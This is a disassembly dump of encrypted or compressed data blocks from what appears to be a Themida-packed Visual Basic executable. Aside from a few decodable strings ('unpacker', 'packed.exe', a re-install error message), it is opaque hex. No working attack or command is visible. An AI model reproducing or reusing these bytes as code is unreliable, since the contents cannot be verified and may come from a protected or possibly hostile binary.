		dd 56E0DD46h, 86402EEDh, 977405Bh, 194EF071h, 0BA41ED1Ch
		dd 26D24D24h, 0DC0C099Fh, 21B5BF55h, 1672A031h,	0E29E3Ch
		dd 0A3230000h, 27AC28FFh, 0B93AB68Dh, 3EC44017h, 0CC53CFA6h
		dd 8D565F36h, 0CDA43AC1h, 5930CE51h, 0E4BB5BDDh, 7148E468h
		dd 0C9AF75CCh, 0E56328AAh, 0AA31D760h, 3DC13D14h, 324DCAA1h
		dd 1A680086h, 68EC1C19h, 6EF27ECCh, 0D89EC247h,	5B4262F2h
		dd 3B70A50Eh, 250BD17Ch, 395B4263h, 0F28A10D0h,	5FA6A3A4h
		dd 28E7FEC3h, 289BB962h, 1C6AD363h, 99700C90h, 3EFD991Dh
		dd 27750B92h, 0C56B2926h, 769B12CFh, 68EE9AC9h,	848182D0h
		dd 6C18A7EEh, 22524FE5h, 0AF2B029Eh, 0B6418F2Bh, 9DEB850Ah
		dd 0E96F9F9Ch, 0F1770351h, 0FB7F0B59h, 7A80115Fh, 7C42262Bh
		dd 79159929h, 39A226A2h, 0C2946C14h, 182F31B6h,	0F720D073h
		dd 3AD8265Bh, 14h, 60460CB7h, 946FD711h, 105919CDh, 92FB155Fh
		dd 0B5026495h, 0BF0DB131h, 0C513AF33h, 0C917B739h, 0CE1CBA3Dh
		dd 0D725BB42h, 0E02EC44Bh, 0E836CE54h, 0EB39DB5Ch, 0F240DA5Fh
		dd 77A26863h, 2C890000h, 0E6895624h, 4C681h, 0EE830000h
		dd 24348704h, 2414895Ch, 1B9568h, 240C8900h, 3A6EBF57h
		dd 0FA8907E6h, 83243C8Bh, 8B5404C4h, 0C483240Ch, 58525004h
		dd 58084189h, 592434FFh, 4C481h, 34FF0000h, 0C4835A24h
		dd 0FE01E904h, 2CDFFFFAh, 0EAA00A4Ah, 2BD75A78h, 3BF5FD43h
		dd 49F9B8A0h, 0C50307E6h, 0E91E0FFh, 4C7A23h, 75E87F25h
		dd 7889782Eh, 8BBF3B54h, 6D7B315Ah, 0CA4152h, 0A5D485Eh
		dd 88B806D4h, 7FE96016h, 6000001h, 0C57B4976h, 4377E705h
		dd 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h, 2E64656Bh
		dd 657865h, 3Ah	dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 8 dup(0)
		dd 58E90000h, 6800001Ch, 7E64E5Bh, 0FA34BEE9h, 4F3C68FFh
		dd 0B4E907E6h, 68FFFA34h, 7E6504Bh, 0FA34AAE9h,	511A68FFh
		dd 0A0E907E6h, 68FFFA34h, 7E65159h, 0FA3496E9h,	520A68FFh
		dd 8CE907E6h, 68FFFA34h, 7E65262h, 0FA3482E9h, 52B668FFh
		dd 78E907E6h, 68FFFA34h, 7E65A7Eh, 0FA346EE9h, 5B0368FFh
		dd 64E907E6h, 68FFFA34h, 7E65BD9h, 0FA345AE9h, 5CD568FFh
		dd 50E907E6h, 68FFFA34h, 7E65D33h, 0FA3446E9h, 5DE668FFh
		dd 3CE907E6h, 68FFFA34h, 7E65E60h, 0FA3432E9h, 5EF568FFh
		dd 28E907E6h, 68FFFA34h, 7E66568h, 0FA341EE9h, 667668FFh
		dd 14E907E6h, 68FFFA34h, 7E66718h, 0FA340AE9h, 5A14FCFFh
		dd 0CF876E40h, 46FEE3B5h, 0B9715A2Ch, 31EBCD9Fh, 2419C217h
		dd 9C6E8842h, 12E4FEB8h, 8B5D772Fh, 0F1D1EBA5h,	54CEE306h
		dd 36A821D4h, 8B452B9Ch, 0E1A28886h, 4A4146FEh,	0A0A11033h
		dd 8ADD29BAh, 0B48EC5DFh, 161419D1h, 7970752Dh,	0AC74C8CEh
		dd 0A955788Fh, 0AF2E5AA7h, 866B455Ch, 347BC8CEh, 21DA9A79h
		dd 0B00E63C4h, 53D4E072h, 399Dh, 486BAA00h, 21DA9369h
		dd 9ABCC215h, 0D9F04FD1h, 5AA03CB6h, 586FC22Eh,	0DCE29C7Eh
		dd 0A065488Fh, 77D821DAh, 0EB86C41Ah, 2BB153D4h, 0BE000001h
		dd 94555C7Fh, 0CE2121DAh, 452BA6C8h, 0B19A748Bh, 6E91F4F9h
		dd 29BAA143h, 373DE83Bh, 6E4887EAh, 0D4CBD08Ah,	0BAA0D8D9h
		dd 454B9E29h, 98AF694Bh, 90B3D7BEh, 29BAA121h, 5A5F0A5Dh
		dd 0AD105D63h, 0A50C2F6Eh, 0D129BAA0h, 0A12E837Eh, 0F54829BAh
		dd 0A0A65E43h, 1AFFC0A6h, 12BD775Bh, 18C37B60h,	0F3D6B013h
		dd 553B353Bh, 0A0A50C2Fh, 68A429BAh, 23D496D4h,	721D7047h
		dd 0E098815Bh, 7CDEE4DBh, 0B9F71861h, 0ECAD9329h, 544B500Ah
		dd 0D7BD8FA9h, 50C0181Dh, 4326E5CCh, 0E48F868Bh, 4D36E8DFh
		dd 0F9D3EA95h, 5C535810h, 0EED4F756h, 682E59D6h, 41CFFB15h
		dd 0A7A8CBE2h
		db 92h,	77h, 26h
byte_5B15DB	db 0Fh			; DATA XREF: Themida_:0055506Do
		dd 0E2CBA5BCh, 0C1F0132Ah, 0BD29B86Ah, 0C605646Ah, 69A5379Ah
		dd 0EBF1D0A6h, 3B550FF1h, 0F4CD8769h, 0E6119799h, 7293C1AAh
		dd 86000019h, 0F8CAE49Eh, 6D3F5911h, 0E4B6D088h, 572943FBh
		dd 4CA1BB75h, 12CCAE63h, 884226F8h, 1B99C6Eh, 752F15E7h
		dd 6D907B5Bh, 21D45344h, 2B2EC83Ah, 0A3758F49h,	0B2E903BDh
		dd 0A1615073h, 0CA1D29BAh, 4FD1A2C4h, 3CB6D9F0h, 0C22E5AA0h
		dd 8A236A6Fh, 1121DA9Fh, 7371762Eh, 0CFCDD28Ah,	0D60B32EAh
		dd 924A2F79h, 1976D7E7h, 0D4EB87C3h, 0A7B053h, 2BFA0000h
		dd 88868B45h, 545D80A6h, 2A29BAA1h, 0C4272CD7h,	0A1596798h
		dd 0FD039670h, 0B9B6BFBAh, 0BC765C29h, 2D3279A5h, 0C9CD856Eh
		dd 14F75795h, 49ABB15Ch, 0D2D79177h, 8299967Ah,	59B8635Fh
		dd 738ADD2Eh, 0BA745A34h, 0D9B7F2BFh, 33398C21h, 0BC7BA5D1h
		dd 2EDC82A5h, 0C71A2677h, 3AF4D6B0h, 0B26C4E20h, 114084D9h
		dd 82B099E6h, 1891h, 0ABC57F67h, 203AF2D9h, 97B1694Eh
		dd 0A24DCC5h, 829C5638h, 0AD8F842Dh, 2307D9F3h,	9A7D4F69h
		dd 10F6C8E2h, 715C3C56h, 0D452634Eh, 0FA91B21h,	758F492Bh
		dd 0E903BDA3h, 8ECC6EFh, 684E484Eh, 0CADACE55h,	512529E1h
		dd 1027D25Eh, 839A5436h, 0B9CE5160h, 0D4DA2D29h, 0A6E52487h
		dd 0B9CE2E83h, 0FAF54829h, 29B9CDB7h, 6C666CBFh, 86B2CC86h
		dd 63869D9Ah, 2E59AE8Bh, 4E959AEDh, 21D9AE5Fh, 126793DEh
		dd 0B6533C46h, 86DB5056h, 0D4E0FA28h, 7A603A53h, 0DD36BAC0h
		dd 80000000h, 9E3B2B3h,	6D646923h, 2E0D1367h, 0A572F417h
		dd 0A1F42E5Ah, 0FEDA05ECh, 0A1E0F53Fh, 4001337Eh, 0C9E80B56h
		dd 0B5564000h, 32388B62h, 0DEF532DEh, 0DFE7DFBBh, 583F195Ah
		dd 9EA49BA0h, 0CF272C7Fh, 0A8CBE241h, 59BF552Dh, 0CC8D6F49h
		dd 0D48631E9h, 3C3338F2h, 0ADC41736h, 1933EDD3h, 0BAA06147h
		dd 535810F9h, 2D06B15Ch, 0B988E6DEh, 82E00EF7h,	76000017h
		dd 0E8BAD48Eh, 5D2F4901h, 0D4A6C078h, 471933EBh, 3C91AB65h
		dd 2BC9E93h, 783216E8h,	0F1A98C5Eh, 651F05D7h, 5D806B4Bh
		dd 21D45154h, 2B1EB82Ah, 23868B45h, 0A9AE6649h,	0C858ACB2h
		dd 0BD31546Bh, 3B2E5A80h, 8158597Ch, 0CB1E21DAh, 0ABDE83C7h
		dd 0E6912406h, 446D90CFh, 3A21D9D4h, 4ADD0E7h, 7A21D9D4h
		dd 0C5BF2127h, 22EEB2B3h, 3214EE05h, 0D4137278h, 0BB9A8DA8h
		dd 0FBA6EAB8h, 0A5AE3549h, 0FD4046F1h, 2E59BA69h, 0B0974C9Fh
		dd 0A6B16F13h, 566DCA56h, 92716733h, 898EE1ADh,	4AE5FA26h
		dd 1E7789D7h, 0DF5CC418h, 2130A5C8h, 3386A731h,	0A25C421Ch
		dd 0FD0B688h, 0B5B182Bh, 0B8066775h, 4089620Dh,	5D66DAC6h
		dd 16B34674h, 5D450000h, 0D0B789A3h, 472CFE18h,	0BAA3758Fh
		dd 3416E802h, 0A20B607Ah, 0B7D18B6Dh, 2D4701E5h, 0A6C0785Bh
		dd 1A34EED4h, 852C4F3Ah, 0F121D44Fh, 452BE57Fh,	0F0FFB28Bh
		dd 0A790E60Eh, 167479h,	0E29C8400h, 570FF6C8h, 0CE866B3Dh
		dd 41F9E2B4h, 0B9735527h, 0AC614A9Fh, 24F610CAh, 9A6C8640h
		dd 13E5FFB7h, 7959732Dh, 50466B8Eh, 0BE3021D4h,	8B452B24h
		dd 65492386h, 409C1A4h,	665D620Dh, 27040C60h, 8F79ED10h
		dd 9CEF2E5Ah, 82283882h, 0FEB89A9Eh, 4D193C53h,	8B267A74h
		dd 0A6808338h, 3A779AC0h, 4429BA6Bh, 0FD4046F1h, 0B511E262h
		dd 677EBD63h, 0B1FA5644h, 0D8DD3091h, 7C939080h, 11377C59h
		dd 90A7FA93h, 0DB957751h, 34F5DBD5h, 0EDA58E4Dh, 4146F1E8h
		dd 0C8F6BBDEh, 2D808D0Eh, 0EBBDD782h, 0C5724B05h, 5A82BAC9h
		dd 15C34371h, 4D350000h, 0C0A77993h, 371CEE08h,	0AA93657Fh
		dd 2406D8F2h, 0D2FB506Ah, 0A7C17B5Dh, 1D37F1D5h, 96B0684Bh
		dd 0A24DEC4h, 951C3F2Ah, 0E121D44Eh, 0ECC6D56Fh, 3464C06h
		dd 29BAA0AEh, 0BAB109A4h, 0A1644929h, 0BFEE29BAh, 0DC29BAA0h
		dd 0BC633CF6h, 55E60EF1h, 156B3E6Ch, 0A58D0000h, 18FFD1EBh
		dd 8F744660h, 2EBBDD7h,	7C5E304Ah, 6A53A8C2h, 0FF19D3B5h
		dd 758F492Dh, 0EE08C0A3h, 627C361Ch, 3D749782h,	3921D44Fh
		dd 0ECC62DC7h, 14374E08h, 29BAA09Dh, 2C8086D9h,	0D3047E4h
		dd 2E5AB0DDh, 46E7C013h, 0E3EDEF01h, 1517CCFAh,	0F9E10000h
		dd 6C53253Fh, 0E3C89AB4h, 563F112Bh, 0D0B2849Eh, 3EA7FC16h
		dd 536D2709h, 0C9E39D81h, 425C14F7h, 0B6D08A70h, 0E9C8EBD6h
		dd 9521D44Eh, 452B8923h, 0A288868Bh, 3D6EE3E8h,	0E65C8AE0h
		dd 35775434h, 0C1000000h, 0BAA0CBE2h, 0DB3F6B29h, 0E98B735Eh
		dd 260C060Ch, 1537526Ch, 0B729E094h, 28E2C6A0h,	977A2C23h
		dd 0DDE3DADFh, 14A76290h, 8FBB0000h, 0DDDE25A0h, 0B8DAE04Ch
		dd 868B452Bh, 5A3EE22Eh, 0F9A49BA0h, 8397BFE2h,	9EF12E5Ah
		dd 12CAAD87h, 0DCFF160Dh, 21DA7BD5h, 0E6484EA1h, 0C2D956BAh
		dd 7A995F9Fh, 8186D926h, 0CCE69E83h, 0BA66FDB1h, 1B9A029h
		dd 6F2E15E7h, 0D5CCD18Bh, 9E0FECD1h, 0A04BECD8h, 0FEB69D9Bh
		dd 6C240DE7h, 68B11966h, 22DAC10Bh, 0BFFC2A08h,	5B175434h
		dd 61000002h, 0D9F04FD1h, 595E16FFh, 13CBB062h,	0B211170Eh
		dd 5AAFBB8Fh, 0DDE2352Eh, 2940F8DFh, 0ADB36D4Fh, 8192794Bh
		dd 37AB9EB3h, 0B0B56051h, 0D9EF4469h, 116E2321h, 0E28E0C7h
		dd 0EA013EE2h, 68496CABh, 0E21D9CFh, 1116D0B4h,	26696F1Ah
		dd 2679B77Ch, 0ACAAAF02h, 24F610CAh, 20838842h,	0CE4D6046h
		dd 924778BBh, 0E6292FDAh, 29BA36C9h, 4690EDA2h,	5990AA64h
		dd 0DEE39D7Fh, 0CE98A48Eh, 9F4A0347h, 5CDB4599h, 0DD982245h
		dd 9BEE2E59h, 8F224584h, 0E721D9D9h, 43418E94h,	5289A35Dh
		dd 0D9C1F013h, 0FFE221D9h, 744B4247h, 3B211B21h, 0D5DA947Ah
		dd 0CB2E33DEh, 4E540CF1h, 0D9D9A60Bh, 0B70CC121h, 0ABC57F65h
		dd 353AF2D9h, 0AD915037h, 0DB4348F3h, 4EB3D92h,	765B354Ch
		dd 2D84A7BEh, 4921D9DAh, 0B08EF0F6h, 53D42D72h,	0A89Dh
		dd 0EED0AA00h, 32382F34h, 88492B10h, 3C41ECA6h,	9DA25C3Eh
		dd 4597EC35h, 0B18FA963h, 5434E675h, 2BF497C3h,	56EDC312h
		dd 7BCC50h, 0C6160000h,	880A049Ah, 0DFE7EBA3h, 3EF6D99Fh
		dd 91974239h, 549EB197h, 5BF67E3Eh, 8B898E39h, 0E8E6EBA5h
		dd 0D0DBEF02h, 635264D3h, 0CEB5B3B8h, 0C6806416h, 0B31059C1h
		dd 0C7CC8469h, 0C00925D0h, 79331963h, 4145815Fh, 2E6E5434h
		dd 0B8000000h, 0D9F04FD1h, 5AB304B6h, 22277A2Eh, 0DA8ED2DBh
		dd 0B50A6B21h, 873F24FEh, 0F44F7B81h, 618D53D4h, 9A993CE1h
		dd 93171D86h, 0C6h, 0F04FD1DDh,	0B1CFFD9h, 2F883576h, 0C1C772E7h
		dd 2D973F62h, 72B12E5Ah, 0DA25624Fh, 0B2C91C21h, 0DA25228Fh
		dd 3095C21h, 0EEA88AE4h, 4247F2E9h, 8BA55D44h, 2D13D2B9h
		dd 0C5C3C873h, 0B92126DEh, 8A641370h, 0EBE5EBA3h, 54324C04h
		dd 53D49616h, 0EFA78C66h, 16EFF3EAh, 308420BDh,	5881050Bh
		dd 0CB000000h, 0D7EE4DD1h, 455E1DB4h, 41469956h, 0BAA0B3FAh
		dd 0ADD9F0A9h, 0DA3C6502h, 634E714Ah, 1BA9BAEBh, 0A2171DC8h
		dd 0BE7DA14Dh, 2EE6CDA7h, 0EA3C629h, 68A9BAEBh,	5646A15h
		dd 45A7EFE2h, 4B2D07D6h, 8F958C91h, 7A341670h, 0A47EB5CFh
		dd 90005BDh, 0CD903h, 0C66F0000h, 484E08ECh, 2C1Eh, 462BB400h
		dd 3FEAA287h, 9D553C3Ah, 0BCAB183h, 70676C24h, 0BC68C0C5h
		dd 99337A7Fh, 0D6D6455Dh, 84C21875h, 0AFABCB15h, 0C9Ch
		dd 0E54BD1F9h, 949944FCh, 1194FB4Dh, 0F1B296A0h, 0A0A55008h
		dd 5BDA2h, 0B8FB588Dh, 3BEA47A8h, 0D4BD7C61h, 7520171Ch
		dd 0D23D696Fh, 5756DD9Fh, 0A0000000h, 0D5EC4BD1h, 0BAA0FFB2h
		dd 7A5D3729h, 0C0C6BDC2h, 4C6BF5A1h, 24849363h,	0C4C7EA0Dh
		dd 5CAF29B9h, 0A49ACB1h, 0B9C4CAE7h, 5B61B429h,	0C88FFB18h
		dd 0C0FF4A80h, 4790149Dh, 65176A80h, 4DC2C880h,	0FB6C9AF0h
		dd 0D2ACFD47h, 0A92D33EBh, 2D7h, 41F9DCB6h, 4BD1193Bh
		dd 9D4800E5h, 0D71639C3h, 0B97C85ABh, 50097B7h,	29B9B7ACh
		dd 57797FD2h, 0B18B452Bh, 47F92528h, 98F5779Ch,	7F843C23h
		dd 442BDD88h, 1F64868Ch, 5734DEF3h, 0D0D60241h,	7B445A6Eh
		dd 0E55D544Fh, 0C61926B9h, 313CC0h, 0D1860000h,	0DE02E54Bh
		dd 0BAA0F6BBh, 822D8029h, 0ECC6FDD7h, 0E9484E08h, 0BAA0E8C6h
		dd 613B8E29h, 4C06ECC6h, 2BE5E746h, 0E8B48E46h,	35FBA2h
		dd 0D1910000h, 96D5EC4Bh, 0BAA13E73h, 0DFE53829h, 0BA3C6BDh
		dd 7829BAA1h, 9AC63711h, 0D193CD69h, 0E140465Fh, 87462BDFh
		dd 653FEAA2h, 92E09AC6h, 499810Ah, 0E27BC1FEh, 73E79799h
		dd 607A3416h, 0EAC7EA29h, 94CF5D67h, 0F39E583Ah, 9FA45C41h
		dd 0C2A8A2A8h, 15416408h, 9073B7E9h, 5E03D4D8h,	0B4969096h
		dd 0DB4E56FAh, 0CE38799Ch, 0EB3ECF5Ch, 0C91370E5h, 0E61229E3h
		dd 0E5CBE4CFh, 2B2F262Bh, 76591637h, 100D13BEh,	0E4CB8C72h
		dd 0A7DD812Ch, 9DF2E7EEh, 0F6AB654Bh, 0A1B87258h, 37723F62h
		dd 4831CF5Dh, 0BD948B90h, 5578646Ah, 0C6DD977Bh, 5D370EA3h
		dd 0F1568CFh, 85293315h, 0F3CF5D36h, 6BF4FCA0h,	24DEC416h
		dd 0B0926C6Fh, 0F4FAF1F6h, 530518FAh, 0E41C7BB2h, 65DBE08Bh
		dd 3895D2A5h, 10C8AF89h, 34DBD6F9h, 50A3CF5Dh, 0AD6E504Ah
		dd 48620DC7h, 32D69076h, 2D6C9274h, 5D34A70Ah, 767CCFCFh
		dd 5D347B33h, 93AAFDCFh, 171CD4B9h, 442E1A20h, 0F2D8227Fh
		dd 0BFE22138h, 0CF5D34F2h, 3633398Ch, 54F8B298h, 794A601Eh
		dd 49416D24h, 0C2F9F1A6h, 341A141Ah, 4127C57Ah,	4325E387h
		dd 54DDE589h, 0A1C7ADFFh, 5CEF337Eh, 0C9E80BCFh, 0B5CF5CEEh
		dd 8D388B62h, 0FDB59C76h, 0EEEEC3E6h, 3588CF5Ch, 0F02F322Fh
		dd 5CEEE4CDh, 30479ACFh, 5CEEA40Dh, 8187DACFh, 1B9AC65Fh
		dd 0AF30457Bh, 8D736D73h, 1C6D4467h, 0B60929BAh, 1639310Bh
		dd 959B533Ch, 6487C673h, 29BAA14Dh, 7CD0D629h, 0F2AC9296h
		dd 714BF6EDh, 0F31F6228h, 415734DEh, 0CFA24515h, 382F34ECh
		dd 0C2FDC734h, 4B38BCh,	6B450000h, 0A2C4CA82h, 14EE4DD1h
		dd 0A10BA3C6h, 1A6D29BAh, 89432903h, 0C4C66183h, 0C733442Bh
		dd 19D3B90Eh, 0A7191D14h, 6E8530A7h, 0F3A50C2Fh, 7ED129B9h
		dd 65E85678h, 0E5A48Bh,	75979D48h, 4E08ECC6h, 224C5249h
		dd 38h,	0EE4DD1B8h, 0DC9AC614h,	0E564EEE6h, 0CC38F94Eh
		dd 0D827D1C8h, 5E5073D2h, 2329BA4Ah, 9AC6E2BCh,	0ADC037AEh
		dd 8FEEF445h, 0EEF32450h, 0DD74AA2Dh, 442BB5D7h, 0A2E8B28Ch
		dd 0BAAFB6E2h, 0AEDEC029h, 37FFFFFCh, 0B7BC745Dh, 0C698BAC0h
		dd 484D05ECh, 0A5084B51h, 9C29BAA0h, 11C9AC70h,	210FBC0Ch
		dd 2BEBA821h, 0E9BBD580h, 3F57F304h, 67B87957h,	701BC67Eh
		dd 0BAF71A59h, 0C429BAA0h, 0D71E6B71h, 29BAA0DAh, 252AE2C9h
		dd 0A1129FC2h, 196C29BAh, 0C6CB8567h, 34EA3D0h,	0E0034259h
		dd 29BAA0D1h, 0DF545AADh, 9B533882h, 0B7C8AF81h, 9CF04D56h
		dd 3E5803B8h, 0C0D60C12h, 67426A82h, 1C21D9BEh,	0B8CF7A25h
		dd 3B40FADEh, 0F7A25A3Dh, 1D5DA4F1h, 3A6BEC3Bh,	0F82684D9h
		dd 13166202h, 224h, 0A0CCE25Dh,	0AB7529BAh, 0F736758Ch
		dd 0BAA0DDD4h, 7B365929h, 329BAA0h, 0F72DD9B0h,	0CF993F47h
		dd 1A5D630Eh, 2E5A7EACh, 69486B2Ah, 0D521DA81h,	0DA80FFB2h
		dd 4D247721h, 63354FFAh, 0D5AFC67Eh, 0E43137F1h, 0AC2A781h
		dd 6B230A04h, 0C9816866h, 37EFD8B2h, 0E2E7A185h, 4098E5EBh
		dd 193C53D0h, 267A9D41h, 8B64B7h, 91E60F30h, 0D4F7AA8h
		dd 0C1A90000h, 341BED07h, 0AB90627Ch, 1E07D9F3h, 987A4C66h
		dd 466FC4DEh, 1B35EFD1h, 91AB6549h, 0A24DCBFh, 7E985238h
		dd 2190B39Eh, 5D21D447h, 452B51EBh, 0E22E868Bh,	0D40B2E45h
		dd 222E5CE9h, 0F9DEB8CFh, 70552741h, 5588294Ch,	9BEE21D4h
		dd 4988EBF0h, 0D4558B26h, 0B499F321h, 5500F7FCh, 55961B3Eh
		dd 8DE021D4h, 0E6A78D87h, 989D4802h, 3C53D040h,	74709919h
		dd 0B38CDF26h, 0E615472Eh, 0CAACDAC3h, 2E00000Ch, 0A0728C46h
		dd 15E701B9h, 8C5E7830h, 0FFD1EBA3h, 0F449631Dh, 0BA7456CBh
		dd 30EACEA0h, 0A9614416h, 1DD7BD8Fh, 15382303h,	21D4459Ch
		dd 2BD670E2h, 23868B45h, 0A8AE6649h, 586FCC54h,	5AB4C935h
		dd 0E5FC4F2Eh, 676C240Bh, 36086A70h, 0D1AC3D50h, 81141E96h
		dd 346A476Ah, 0C11421DAh, 0E6C0FF16h, 624F4A04h, 1C21DA34h
		dd 3561C3C9h, 850DF3EBh, 0E197A641h, 0EEFC1F36h, 68267C5Ch
		dd 0DB2B86A9h, 5329B3h,	7F643E55h, 0EFD6B0C7h, 98CF3137h
		dd 52A65C6Ch, 0AAB037D5h, 0E13CBB0h, 6B702A10h,	0FD50D13h
		dd 0B0012488h, 0C629B41Fh, 50C56F73h, 0AE889F4Ah, 6B230AC9h
		dd 385BBAC0h, 2E54327Ah, 4C06EAC4h, 2B4A5047h, 8500FFD8h
		dd 3019EDF5h, 0BF402h, 621C0400h, 0D78F7648h, 4E06EBBDh
		dd 0C1796234h, 39F3D5A7h, 2CE1CA1Fh, 0A476904Ah, 1AEC06C0h
		dd 93657F37h, 0F9D9F3ADh, 45C6EB0Eh, 3EB021D4h,	8B452BA4h
		dd 45E22E86h, 2F15EF2Eh, 0C62C6F75h, 302E5A7Fh,	0E19AC6DDh
		dd 0B9930B20h, 0BA8CEEF4h, 2F011BD3h, 7E78924Ah, 4D6487C6h
		dd 0E929BAA1h, 0BAA0EBC6h, 69409329h, 54BC1016h, 0B99DC0D7h
		dd 0CF2E5A82h, 7F446D90h, 0E73A21DAh, 8368C2E1h, 0D41B20CBh
		dd 21DA7ED9h, 50AE0364h, 53D4C812h, 0ECA68862h,	72FFB2D5h
		dd 247721DAh, 959A1Eh, 2BE40000h, 0E49C8544h, 383DE8DFh
		dd 5F19FBD5h, 0C0785F59h, 1CD4BDBBh, 5275B417h,	29BAA15Fh
		dd 7C355817h, 229BAA0h,	4FE04AFh, 0DBD6F91Dh, 0A329BAA0h
		dd 5F8BA550h, 385B72B1h, 2E5A9F56h, 2BE3C6A0h, 0D8DE9679h
		dd 0DFBD0DB9h, 0DA0BAC5h, 28908962h, 0C4ADEDEFh, 0AF896h
		dd 5E180000h, 0D38B7244h, 4A02E7B9h, 0BD755E30h, 35EFD1A3h
		dd 281DC61Bh, 0A0728C46h, 16E802BCh, 8F617B33h,	0F5D5EFA9h
		dd 44CAE70Ah, 42B421D4h, 8C442BA8h, 557072h, 2B060000h
		dd 2F878C44h, 0EC2B42E1h, 0CC2A92C0h, 262C9B5Dh, 5A5577E3h
		dd 0A57ED12Eh, 0EDEF67C2h, 9ABCEAD3h, 5E00000Ah, 0D0A2BC76h
		dd 451731E9h, 0BC8EA860h, 2F011BD3h, 2479934Dh,	0EAA486BBh
		dd 601AFED0h, 0D9917446h, 4D07EDBFh, 45685333h,	21D4446Ch
		dd 2B06A012h, 88868B45h, 6EE3E8A2h, 5C8AE03Dh, 775434E6h
		dd 247h, 1E42B3C1h, 8E482EF2h, 0D0E79289h, 5AA5B9ADh, 0F1D52F2Eh
		dd 903B3237h, 0B43A4D79h, 0FBA43034h, 0D9ACD9D8h, 0A752A521h
		dd 53BDA4A1h, 0E9D24C15h, 696E260Fh, 8186C72h, 0A1F1142Bh
		dd 9739E358h, 39E73F44h, 15C0E3FAh, 713AC296h, 0EEC8071Eh
		dd 0AB634C0Bh, 16FDFB00h, 0B3ADB35Eh, 27F913CDh, 0D1AE8741h
		dd 0E6DA8327h, 9E7CFFDh, 29110000h, 9C83556Fh, 13F8CAE4h
		dd 866F415Bh, 0E2B4CEh,	0EED72C46h, 839D5739h, 0F913CDB1h
		dd 728C4427h, 0E600BAA0h, 0B9F81B06h, 0C521D443h, 442BB953h
		dd 0E12F878Ch, 20082B42h, 562E5CEAh, 2E12EC03h,	0A4885A74h
		dd 9D4800E3h
		dd 0FAD04098h, 2362104h, 0DD957EABh, 8B36E1D8h,	0A2515174h
		dd 0B4072674h, 25DFC39Dh, 9B55390Bh, 0F8B29896h, 14F4481Fh
		dd 4A7861E6h, 96Dh, 0CFE9A38Bh,	445E16FDh, 0BBD58D72h
		dd 2E4800E9h, 0A6C07A5Ch, 0D1B36851h, 472BFD17h, 0BEA1738Dh
		dd 341AEC06h, 9580607Ah, 0D4433F72h, 2BC53721h,	0A48862EDh
		dd 18A1E4EAh, 9B29BAA1h, 0E82116Eh, 0EB0E2502h,	2E5AA2B7h
		dd 0AC2A781h, 775C0E05h, 0BDC3BABFh, 0F5344B9Eh, 7A7F391Bh
		dd 0DADF977Ch, 383238E3h, 55819B53h, 0C57F65CBh, 71EC9C0h
		dd 780C81E4h, 9BB20526h, 721DBC1h, 436E91D0h, 3B29B7F5h
		dd 2E8E2E8h, 9D9E6F48h,	0D2BBE611h, 8D8A4h, 7E382000h
		dd 0F3AB9264h, 6A2207D9h, 0DD957E50h, 550FF1C3h, 48FDE63Bh
		dd 0C092AC66h, 360822DCh, 0AF819B53h, 15F50FC9h, 42AA072Ah
		dd 62D421D4h, 0A0CBE2C8h, 916B29BAh, 0F3EDF3ADh, 0B06A4C0Dh
		dd 0B45F17FEh, 22DAC39Dh, 0EC0F261Dh, 29BAA0C5h, 0F6585EB1h
		dd 545D80BFh, 2A29BAA1h, 2C31E9D0h, 30848A35h, 522C43E0h
		dd 0BBB2B76Fh, 696E2609h, 0EA0D6C72h, 2E5AEEEBh, 964E310Bh
		dd 75949A91h, 8DCC0B22h, 0DA53476Ah, 5BF10221h,	4AB83EBh
		dd 0DAD4DA2Dh, 1B0D3F7h, 7D21DA80h, 80853F23h, 1933DE89h
		dd 0A7AC6447h, 7E041844h, 0CFC8942h, 6CDFD2F5h,	449721DAh
		dd 81B143Eh, 936D0000h,	0B2989BACh, 4AAA77C6h, 0D177999Fh
		dd 0B6D9F04Fh, 2E5A9010h, 0E72E3386h, 21DA6FC6h, 63B91677h
		dd 53D4DB27h, 15C50h, 482B9A00h, 0A98D8B90h, 6ECEAEFh
		dd 6649474Ch, 7DA0C4A7h, 29BAA134h, 0A14CF74Ah,	13D2B587h
		dd 7B727731h, 282DE7C9h, 29818631h, 512B42E1h, 0B7AEB36Dh
		dd 62672105h, 0E306656Bh, 29BAA0A6h, 52484DA0h,	9B7EC825h
		dd 14F7C9E3h, 0B510575Ch, 5629BAA0h, 0B6B4B971h, 0A11419D1h
		dd 22CC176Ch, 0FE998F5h, 0D0E10428h, 0A629BAA0h, 0A8A2A853h
		dd 0CAF60DC5h, 826BB367h, 0CACEC5CAh, 898F0204h, 0A813FB27h
		dd 0BA262C85h, 70935229h, 29BA2641h, 943FEA3Dh,	2BAA37Dh
		dd 25E9C8EBh, 429529BAh, 0FFBADD3Ch, 7729BA25h,	3D211F24h
		dd 0B3976983h, 10F6F4F9h, 2E5B5156h, 36F622D1h,	0C6806214h
		dd 0FE19BBC2h, 601AFEF8h, 0D6907446h, 545D80BFh, 2A29B9BAh
		dd 0BA69486Bh, 0C21529B9h, 6CC41117h, 4D7087A4h, 2E59D59Dh
		dd 946680D3h, 8EF1F6B0h, 0A6852C4Fh, 9EF121D9h,	5959279Ah
		dd 9399652Eh, 0A0FFD73Fh, 96C79E7Eh, 0FAA55F43h, 0A015384Fh
		dd 0D621D9C1h, 0EE753C2Ah, 0D37EAB0Bh, 56ABD8CEh, 7C5F2004h
		dd 2DFF19C4h, 328A8F49h, 0A8674AEEh, 5B600BC3h,	7FA2B964h
		dd 267A8313h, 0B36D532Dh, 89C65EAEh, 5E0C2B70h,	3B8EADB3h
		dd 0B16B4F21h, 0A2866097h, 0E6ECE3E8h, 375109ECh, 0AECC63Dh
		dd 50544B50h, 35A6C2Ch,	2C808673h, 0F9B8DBE4h, 8529B9E3h
		dd 4D708732h, 2E59C709h, 29272C7Fh, 76708A42h, 4F07ECC6h
		dd 0A29F549h, 0A0EFBE05h, 0C9AC29BAh, 290E0C11h, 23CE886Ah
		dd 0DA37EC1Eh, 0C9268797h, 34EA3773h, 416054h, 2BAA0000h
		dd 9B758C44h, 0FEF5FAB2h, 4D64ABF8h, 4E29BAA1h,	0AEACB169h
		dd 0DB0D12CCh, 1C2DC926h, 6A772649h, 88B55F0Ah,	42FAE12Bh
